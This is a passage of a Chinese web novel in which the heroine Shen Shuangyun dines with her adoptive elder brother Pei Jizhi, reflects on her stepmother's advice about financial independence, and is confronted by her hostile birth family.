“给你就拿着,不要拒绝,霜云,这个世界上,女儿家过活,尤其艰难。”谢夫人微微收敛笑容,郑重看她,认真地对她道:“男子天生拥有权利。”
“他们可以科举,可以行商,可以行医,可以求名,求利、求学、求名留青史,女子呢,唯一能求得,也就是嫁个夫婿,夫贵妻荣,可是,把期盼和一生都寄托在别人身上。”
“那是赌。”
“赌赢了,自然皆大欢喜,赌输了,却是一无所有。”
以谢夫人的年纪和阅历,她见过太多所托非人的女子。
不拘富贵、贫穷,无论家世、地位。
“……丈夫未必可信,娘家未必可靠,只有手里的银子,无论什么时候,能养活自己,就不会到最绝望的地步。”
“有银子,未必能解决所有的难题,但没有银子,一定会有数都数不尽的难题。”
“霜云,记住了吗?”
谢夫人郑重地说。
沈霜云咬牙,重重点头,心里动容不已。
谢夫人说的这些,无疑是深深违背了如今的世道,凡是讲出去,贤妻良母的称赞,这辈子都不会有,甚至会被打成妖言惑众,但她,依然说了。
说给一个,不是她生,不是她养,到她身边刚半年多的庶女。
沈霜云怎么能不动容呢。
她忍不住,伸出手来,轻轻去拉住谢夫人的袖子,罕见做出了小女儿撒娇之态。
谢夫人见状,爱怜的拍了拍她的手背,又道:“不用觉得受之有愧,你是裴家的女儿,裴家的东西,是你应该得的,若觉得多了,你就想想,你是去年才回家的。”
“
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若你不曾走失,从出生到如今,我们该给你送十五回的生辰礼,如今只一次,多给些,就当补上以往少得了。”
“沈家从未给你办过生辰,不是吗?”
谢夫人的声音温柔又怜惜。
沈霜云抿唇,把头靠到了她肩上,随后,便开开心心的接下了那五两千黄金。
然后,又在裴寂之隐晦表示,没法替她惩罚裴寒声,所以邀她出门时,欣然应允。
有了谢夫人的体贴,她不会在为别人散发一点善意,诚惶诚恐。
沈家给她养成的‘她不配’,‘得到一分好,就要回千倍利’的思绪,终于缓缓地散去。
她坐在车厢里,轻笑着掀开车帘,看着外面一身玄色锦有,骑着骏马的裴寂之。
终于心平气和。
不在想他的皇子身份,不在想如今要谨慎、要小心、要卑躬对他,免得他恢复身份后,自己这个外来者,因为放肆,被他记恨。
如今……
倒也不怕了。
她是裴家人,是镇国公府的姑娘,手里有庄子、有田地、有辅子、有金银,裴寂之在不喜她,觉得她是‘间谍’,是‘内应’,是戳破他身份的碍眼之人。
也无妨。
果然钱壮人胆。
沈霜云身心轻松,神情愉悦着,她和裴寂之一同来到了‘天下第一楼’,这里是皇家的生意。
属于充盈庆元帝内库的皇家买卖之一。
毕竟,在京城这种,扔块砖头,砸中十人,九个官的地界儿,敢叫‘天下第一楼’,背后势力,定然通天。
裴寂之在三楼订了个包厢,要了些仅供皇室御用的贡品。
这是天下第一楼能称之为‘第一’的原因。
只要肯花银子,来这里的客人们,就能用到跟皇帝、太后、贵妃和宫里贵人们一样的菜品。
当然,一般来显摆的王公贵族,官员富商,按照身份等级,也有潜规则,像是商户和普通官员,花在多银子,也就用个贵人、嫔位之类的份列,想和皇帝吃一模一样的。
权势、家族、银子,缺一不可。
第101章 帮霜云安排婆家
裴寂之既然请沈霜云出来了,他置办的席面,自然是庆元帝待遇。
一桌,六十八道菜。
珍肴异馔、佳肴美味、龙肝凤脑、酌金馔玉。
菜色之珍贵,之稀少,就连前世身为太子侧妃,生了太子唯一陨的沈霜云,都觉得太侈奢了。
有不少,她见都没见过。
“真是让大哥哥破费了。”
沈霜云轻声。
她不是贪口腹之欲,也不曾觉得吃了跟皇帝一样的菜,有多满足虚荣心,而是,裴寂之肯用这个来招待她,代表的是不是,他已经接受她,在不会怀疑她跟楚清晏有勾结!
也代表着,在裴寒声和她之间,这位‘野生皇子’,终于不在一味地偏向裴寒声,对她冷眼旁观,而是已经开始内疚,想要补偿了呢!
虽然如今,在她和裴寒声的对立,呃,不,应该说是裴寒声和裴临渊单方面针对她时,裴寂之依然没有替她撑腰的意思,但,已经有补偿了嘛。
他开始内疚了嘛。
这就是进步,是好的开始啊。
沈霜云眉眼半弯。
仿佛一轮新月。
裴寂之垂眸,不去直视她的视线,只是道:“无妨的,也不值什么,你喜欢就好。”
“算是有价值。”
“那我就谢谢大哥哥了。”沈霜云弯眉,凝视着他漠然的脸庞,犹豫片刻,补了句,“大哥哥对我真好,我活到十六年,还是头一回跟哥哥出来用膳。”
“我心里真的开心,大哥哥真是太贴心了。”
“照野是我最好的弟弟,大哥哥是我最好的哥哥……”
温情脉脉的甜言蜜语,她不是不会说。
前世能哄得楚清晏觉得她是真爱,沈霜云的嘴皮子,其实很利索,危险时候,也放得下脸面,只是,不晓得为什么,面对在乎之人时,总显得笨嘴拙腮。
这……
其实不好。
越是亲近关系,越不能忽视,越需要维护,面对外人,都能笑语盈盈,说上最肉麻的暖心话,怎么面对亲人,就不会了?
这点她得跟沈婉音学。
那人可不讲究羞涩,爱在口难开,她是无论何时,无论何地,无论面对何时,肉麻至极的甜话儿,张嘴就来。
从来不会有心理负担。
沈霜云向她致敬,心里窘迫极了,面上还是笑着‘感激’裴寂之。
不过……
看到裴寂之突然垂头,用拳头抵住嘴角,拼命咳嗽,耳后红成一片的窘迫羞涩之态。
她心里那点别扭,一下子就没了。
被她说了‘甜话’,裴寂之的反应,好像比她还要羞,那,她就没必要羞了啊。
沈霜云的腰,一直子就挺直了,拿起公筷,她主动给裴寂之夹了筷子熊神掌,笑吟吟地说:“自从我回镇国公府后,大哥哥照顾我良多,如今又帮我庆生,送了那么尊贵的礼物,我今为大哥哥布菜,算是谢谢大哥哥了!”
“也不知大哥哥喜欢什么,我就随意了!”
“这,这……”裴寂之惯来冷漠,看谁都如尘埃般的面容,染上抹淡淡绯色,眉头也皱起来,微微侧头,“你不必如此,我,我!”
他顿声,沉默片刻,才接着道:“我对你并不好,没有尽到一个做长兄的责任。”
沈霜云回家后,受了很多委屈。
她没有得到一个国公府千金应得的待遇和尊重。
父亲,呃,是裴国公不在京城,长兄为父,他理应照顾新认回来的妹妹,但,他没做到,霜云却要感激他。
他受之有愧。
“大哥哥,三哥哥和四哥哥的事,你身为兄长有为难的地方,我都理解,也不怪你。”
“我是后来的,生母又是那样的情况,你要是站在我这边,怎么面对二哥哥、三哥哥和四哥哥呢?”
“又要如何面对先夫人?”
沈霜云叹息,极是通情达理,替他着的模样,让裴寂之心里越发不是滋味。
他看着这个没有血脉的妹妹,回府半年多了,她终于养出些肉来,不在像刚认回来那阵儿,削瘦得像个骷髅,一副‘绝不会长寿’的样子,如今的她,居移气,养移
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体,早就面颊丰润,精气神也是有的。
哪怕没有沈婉音那么丰腴妖娆,却自有股气定神闲,悠然自得之态。
而且,有谢夫人和照野的疼爱,她眉宇间那股惶惶不可终日的郁色,也尽数消退了。
二八年华的女孩儿,已然显示出少女的丰姿,盈盈笑意,轻声曼语,又是如此善解人意,豁达大度。
他的妹妹,呃,没有血缘的妹妹,的确如母亲,咳咳,谢夫人所言一般,是个体贴入微的好女孩儿。
裴寂之垂眸,突然想起前日回府,去给谢夫人请安时,无意间看见她放在桌上的册子。
那里面记着十几个京城适龄的才俊公子。
那些男子,家世不算特别的好,跟镇国公府相比,略差一些,但儿郎们却是数一数二的优秀。
人品、才华、相貌、风度、秉性、财富,甚至是父母品行,兄弟姐妹的脾气,都是相对不错,且,每个人都有一、两样格外出挑的地方。
是那种真心疼爱女儿,不想用女儿攀附权贵,甚至不想联姻的顶级权贵人家,会给孩子挑的夫婿人选。
这个顶级勋贵,就比如镇国公府。
据身兼暗卫首领的裴寂之所知,谢夫人名册时的十多个少年,有最少八成,在宗室王爷和公主们给女儿的夫婿人选。
把这些挑出来,一一筛查,谢夫人用了多大功夫,可想而知,她是真心实意的替沈霜云着想。
裴寂之很清楚。
然而,那一刻,他心里莫名一悸,不知抱了什么想法,莫名问出一句,“父亲尚未回归,都没见过霜云一面,如今谈她出嫁,有些太早了吧!”
彼时,谢夫人笑着回他,“女儿出嫁,如同第二次投胎,尤其是霜云,她在府外长大,名声又有些毁誉参半,就更要小心了,这些都是我挑的备选,都放在单子里,我找人仔细探探他们的品德,在去跟他们的爹娘交好!”
“尤其是他们的娘,对女子来说,好婆婆胜过好相公,我得给霜云挑个四角俱全,样样不差的婆家……”
第102章 狸猫换太子
谢夫人是认真替沈霜云着想的,她的那些打算,的确是慈母心肠,任谁都挑不出错来,可不晓得为什么,裴寂之心里很不舒服。
谢夫人名单上,他也认得,并且,家世、相貌、才华样样都不差,平时他也很欣赏的‘青年才子’们,突然极是碍眼。
他莫名能挑出各种不适当来。
李公子脾气软弱、赵小将秉性粗犷、白进士相貌平平,钱学子太过圆滑……
反正,谁都配不上他的妹妹。
嗯,这,这就是传说,哥哥看妹婿,越看杀心越重吗?
裴寂之抬眸,看着笑吟吟坐他身侧用膳的沈霜云,心情很是复杂,他暗暗吸口气,不知出自什么心理,突然说了句,“你的婚事,要经了选秀才能定下,如今操持太早……”
“啊?”
甜滋滋喝着果子酪的沈霜云一怔,茫然抬头,唇边围着圈淡淡的果汁,她歪头,“什么啊?”
不是说着‘兄长不兄长’的事吗?怎么拐到婚事上了?
谢夫人手里的名单,当然给她看过,其中有几个,谢夫人看好的,她甚至说过,会办个宴会,让霜云偷偷接触一下,但,最起码,近三、四年内,谢夫人不准备让她嫁人。
她说得很明白,“咱们这样的人家给孩子挑女婿,没有直接取中的道理,自然是要仔细看着,品鉴个三、五年的,你年刚十六,这些男子入我名单,好的入册,恶的除名,随时添减,等挑得差不多,择出两、三个候选。”
“你的年纪也就差不多了。”
“刚好出嫁。”
三、五年以后,那是多遥远的事,沈霜云直接放下了,根本没往脑子搁,裴寂之突然提起,她都有点懵了。
干嘛啊?
她是贵妃的侄女,选秀什么的,不是走个过场吗?
不可能让她入宫啊。
谢夫人的名单里,也没有宗室子弟,她这样的家世,她那四个哥哥,宫中老皇帝没有子嗣的情况下,不可能把她嫁给宗室皇族啊。
难道是楚清晏那里出了什么问题?
太后以死相逼了?
沈霜云的心,瞬间提起来,眼神都变黯淡了,“大哥哥,你,你突然说这个,是那楚清晏求娶的事难办吗?”
“太后在要选秀中对我动手?那我怎么办?你想让我怎么应对?”
“要不然,**脆装个病,嗯,不,真的个病,不去参加选秀好了!”
选秀,明年三月份开始,在那之前,她二月把腿摔断,应该是万无一失了!
沈霜云眼里冒出狠光。
裴寂之一怔,看她发狠的神情,居然跟四弟有五分相似,想起四弟每回这般时,会发生什么后果。
他忙摆手,“霜云,你不要胡乱猜测,楚清晏的痴妄,我已经替你解决了。”
“你的婚事,由爹娘决定,选秀,也就是走个过场,替你添个好名声。”
三轮选秀,能走到殿前面圣地,都是德才兼备的淑女。
“解决了?怎么解决的?”
沈霜云微微放心,忍不住又问。
“我加急写信给父亲,得了他的印信后,向陛下讨了一封圣旨。”裴寂之淡声。
父亲两个字,说得又轻又犹豫。
那……
不是他亲爹。
他查到如今,都不知自己姓甚名谁?甚至,他都不晓得,他究竟是不是生母的孩子?
他是换来的?抱来的?捡来的?还是生母偷,咳咳咳,偷人偷来的,乃或者,父亲有个真心爱人,生了孩子。
他就是那个孩子!
父亲爱屋及乌,不忍他外室子的身份,就趁着母亲生产,把两个孩子调换了?
嘶,也不对。
他和霜云的血液不相融,也九卿、寒声、临渊、照野的也都不融,说明他和裴家是没有一丁点血缘关系的。
他若是父亲的外室子,情况就不以了。
所以,果然还是母亲偷人了吧?
深受重大刺激,这段日子,裴寂之表面上冷漠如常,还能把楚清晏抓进宫里,但内心深处……
他想的真的,可杂了。
什么花花琢磨什么?
那民间的戏文:狸猫换太子,他都看了不下十遍了。
也一直想尽
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办法,准备到舅舅身边……
母亲**,他滴不了血,舅舅活着呢。
舅舅还有好多儿女呢。
裴寂之心里纷乱,眼神却是一直凝在沈霜云脸上,见她知道讨得圣旨,婚嫁自由后,由衷露出的笑容。
他心里一松,然后,又想到谢夫人手里的名册,眉头又是一紧,他薄唇下抿,想跟她说些‘亲不亲生’的事儿。
毕竟,沈霜云是唯一知道,他血脉有异之人。
他们拥有共同的秘密,是相同的,唯在她面前,裴寂之不必隐瞒,“霜云,我……”
他想说。
沈霜云也抬头,认真看他的唇。
结果……
就在这时,突地,包厢的门粗鲁地被人从外推开,两人一惊,抬头去看。
就见包厢外,小二苦着脸,面色难看地哈腰,“几位公子,不要闹了,在打扰我们的贵客,小的就要喊来护卫……”
皇帝家的买卖嘛,总是强硬些的。
“你算什么东西?也配来跟我说话,滚远点,我说了几遍,我是来找人的!”
推门那人,沈今安不耐烦地踹了小二一脚,没好气地冲沈霜云嚷,“没看见我们来了!”
“小二哥,不必担忧,那是我妹妹,我们是来找人的,并非乱闯。”沈宁川拧眉沉声。
他知道‘天下第一楼’的背景。
倒是客气几分。
“我是宫里的带刀侍卫,看守东暖阁的,你家什么侍卫管得了我?”沈墨言冷哼。
沈**已然沉着脸,走进包厢,微微低头,“草民见过裴世子……”随后,又沉下脸喝,“霜云,见到为父,还不行礼?”
沈霜云蹙眉,看着沈家父子,齐刷刷出现在她面前,心里一阵烦闷。
他们从哪冒出来的?
又要干什么?
是,嗯,因为沈婉音?
从晋王府的内应那得着消息,沈霜云知道沈婉音过得有多惨,她惯来拿这些当伴饭时的‘开胃小菜’来用。
别说,就着好消息,她米饭都能多用两碗。
她好开心的。
但……
第103章 你不配做我家女儿
很显然,沈家父子没她这么好的心性,看着他们浓浓的黑圈眼和憔悴的脸庞。
他们显然得到了沈婉音的消息,也显然心情很不好。
沈霜云:……
不由的更开心了。
抿着唇,缓缓起身,极为敷衍的,她连膝盖都没弯,仅是晃了下手臂,淡声道:“父亲安。”
天下第一楼,人来人往,宾客如云。
沈**不值得她坏名声。
裴寂之沉眉,向小二摆了摆手。
小二没在纠缠,恭敬退下。
包厢外,有不少被打扰的宾客,皱眉向这边张望,脸上浮出厌恶。
尤其是对大言不惭,口口声声自己是‘东暖阁侍卫’的沈墨言。
宫中侍卫,尤其是帝王身边的,谨言慎行乃是第一要务,不知是哪里来的纨绔,连这都不懂?
早晚被**。
他们纷纷鄙视。
沈家人毫无所知,仍然高高昂头,走进包厢,一一向裴寂之问了礼,随后,几乎是迫不及待的,他们走到沈霜云跟前坐下。
沈墨言拧眉,满脸不赞同,“霜云,婉音在晋王府过苦日子,吃不饱,穿不暖,你到大鱼大肉,肆意饮食?”
“怎对得起她?”
“况且,女子以简朴节约为美,你这样奢侈,怎对得起父亲和我对你的教导?”
“真是变了,你真是变了啊。”
沈墨言痛心疾首。
他身不沈家嫡长子,如此珍贵的身份,都没用过眼前桌上的这些山珍海味,往日,东暖阁值守,偶尔遇见庆元帝在那用膳,他才能看上一眼这些珍味。
霜云,就,就直接吃了!!
他只见过。
“大公子,这些……哪里奢侈了?”沈霜云挑眉,似笑非笑,“这是我大哥请我用的,是我们兄妹日常用度而已。”
“你觉得奢侈,是因为你穷吧?”
“呵呵,也对,沈家毕竟商户,你也只是个侍卫而已,必然不像我大哥般,天生富贵,视之为等闲的。”
“呃,大,大哥哥,我?”沈墨言愕然,脑子里有些恍惚于沈霜云‘大公子’,‘大哥哥’的称呼,本能的,他觉得‘大哥哥’是在唤自己,还觉得沈枝肉麻,但脑子一转,他又一下子反应过来。
大公子是唤他。
大哥哥,喊的是裴寂之啊!
怎么会呢?
明明,沈霜云的大哥哥只有他沈墨言一人,甚至往日听着,都觉得刺耳,还亲口对她说过:“少这么肉麻的叫我,你当你是婉音啊,天生讨人喜欢,嘴甜的喊‘大哥哥’都像抹了蜜,听的我心身舒畅。”
“你笨嘴拙腮,到是叫我的浑身难受,少学婉音。”
“学也学不像。”
昔日,沈霜云叫‘大哥哥’,沈墨言不屑,如果,她把这个称呼给了别人,反而唤自己生疏的‘大公子’,沈墨言又觉得恼怒!!
果然,果然!!
沈霜云,嫌贫爱富之人,抛弃自己这个亲哥哥,一味巴结国公世子。
果真无耻!
他撇嘴讽刺着,心里不晓为何,却空落落的,隐隐还有些惶恐。
沈今安却没那么细腻的心思,眼望沈霜云的身姿,比上回见时丰腴了些,从清瘦变成了清丽,他心里火热,目光从上到下,色眯眯的狠狠刮了一圈儿。
仿佛要把她衣裳扒了似的。
沈霜云深感恶心,紧紧皱眉,往裴寂之身侧靠了靠。
裴寂之蓦然沉下容颜,神情冷漠,鹰眸犀利。
气势陡然散出。
沈今安止不住打了个哆嗦,赶紧缩了下肩膀,他本能感觉到害怕,可下秒,害怕又变成了愤怒。
他可是沈霜云未来的相公,是她的夫主,看她几眼怎么了?
她居然敢厌恶。
居然敢拒绝!!
妻为夫纲,乃天地之地,他还是沈霜云的哥哥呢!
“沈霜云,看你那小肚鸡肠的样子,吃几口好的,就跟父兄显摆上了,真是一点礼仪都不懂!”
沈今宁嗤声,尽量控制着自己,不往桌中的山珍海味上瞅。
他,他从小到大,也从用这么好的食材。
不知道是什么味道?
他咽了下口水,尽量昂着头,“哼,我们不像你,冷酷无
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情,一点都不关心家人,婉音在晋王府受苦受罪,你身为姐姐,若还有一丝半点的良心,都应该竭尽全力的帮她。”
“当初,因为你嫉妒婉音嫁入王府,怂恿裴世子在婉音的好日子里,把世子抓走,已然是对不起她了,现在,还不快快赎罪!!”
沈霜云:……
???
她挑起眉。
她怂恿裴寂之抓楚清晏?这事,她怎么不知道,楚清晏被抓,不是因为重生自视太高,觉得世间万物,能任他摆布,便随意使计,想要把裴寂之干掉,结果露了马脚。
自食苦果吗?
被抓的时间,是纳沈婉音那日,应该也是巧合,怎么跟她有关?
嗯?
沈霜云一怔,蓦然回头,用不敢置信的眼神看向裴寂之。
说来,惊马案发生那么久了,调查清楚想来也不是一天两天,偏偏,裴寂之那么巧合的在纳妾礼上把楚清晏抓了?
真的是巧合吗?
还是?
“大哥哥,你是,是……”故意的吗?
裴寂之莞尔,没有言语,仅是轻拍了下她的肩膀。
三弟和四弟,他身为兄长,是真的没有办法,沈家几人敢欺负他的妹妹,自然是得教训的。
沈婉音……
碍于也是裴家血脉,他不好直接出手,那就让晋王府的代劳,而沈家几人,他看向沈墨言。
敢对他妹妹无礼,动辄教训,又把东暖阁侍卫看成多么重要的东西,那……
就别做了吧。
楚清晏这个主子,都陷入泥污,等着割肉求生了,那,沈墨言就做被割掉的肉之好了。
裴寂之轻描淡写的想。
“果然啊,我就说,婉音就是你害的,你还狡辩。”沈今安有几分机灵,见沈霜云和裴寂之的神色,心里就明白几分,仿佛抓住什么把柄,他大声喝斥,“嫉妒成性,恶毒狠辣。”
“沈霜云,你简直不配做我家的女儿,你不快快的去向陛下谢罪,说是你诬陷楚世子,赶紧他放出来!!”
他高声吼,大步冲到沈霜云身前,就要去揪她的胳膊。